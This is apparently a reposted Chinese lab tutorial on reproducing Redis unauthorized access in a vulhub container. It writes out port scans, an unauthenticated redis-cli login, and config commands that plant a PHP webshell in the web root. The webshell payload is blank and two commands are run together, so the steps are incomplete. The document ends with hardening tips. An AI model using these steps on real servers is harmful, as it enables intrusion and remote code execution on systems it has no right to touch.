本文共 897 字，大约阅读时间需要 2 分钟。

Redis漏洞复现

Redis概述

Redis是一款开源的数据库系统，使用ANSI C编写，支持网络访问且可存储在内存中。它支持多种数据类型，包括字符串、列表、集合、有序集合和哈希，且所有操作均为原子性。Redis默认使用6379端口，支持主从复制和持久化存储。

Redis漏洞分析

Redis的主要漏洞之一是未授权访问，这通常由配置不当引发。攻击者可能利用这个漏洞绕过身份验证，直接访问Redis服务。在某些情况下，如果Redis以root身份运行，攻击者可将SSH公钥写入文件，进而通过SSH登录并造成严重后果。

Redis漏洞复现步骤

准备阶段

cd /vulhub/redis/4-unac
docker-compose up -d

masscan 192.168.41.139 -p 1-10000 --rate 100000

nmap -A -p 6379 --scripts redis-info 192.168.41.139

未授权登录

redis-cli -h 192.168.41.139 info

写入WebShell

config set dir /var/www/html
set xxx "\n\n\n
    \n\n\n"
config set dbfilename shell.phpsave

注意事项

• Redis默认配置为本地访问，需检查防火墙设置防止公网访问。
• 配置Redis时应启用认证，避免未授权访问。
• 定期备份Redis数据并进行安全审计。

转载地址：http://shog.baihongyu.com/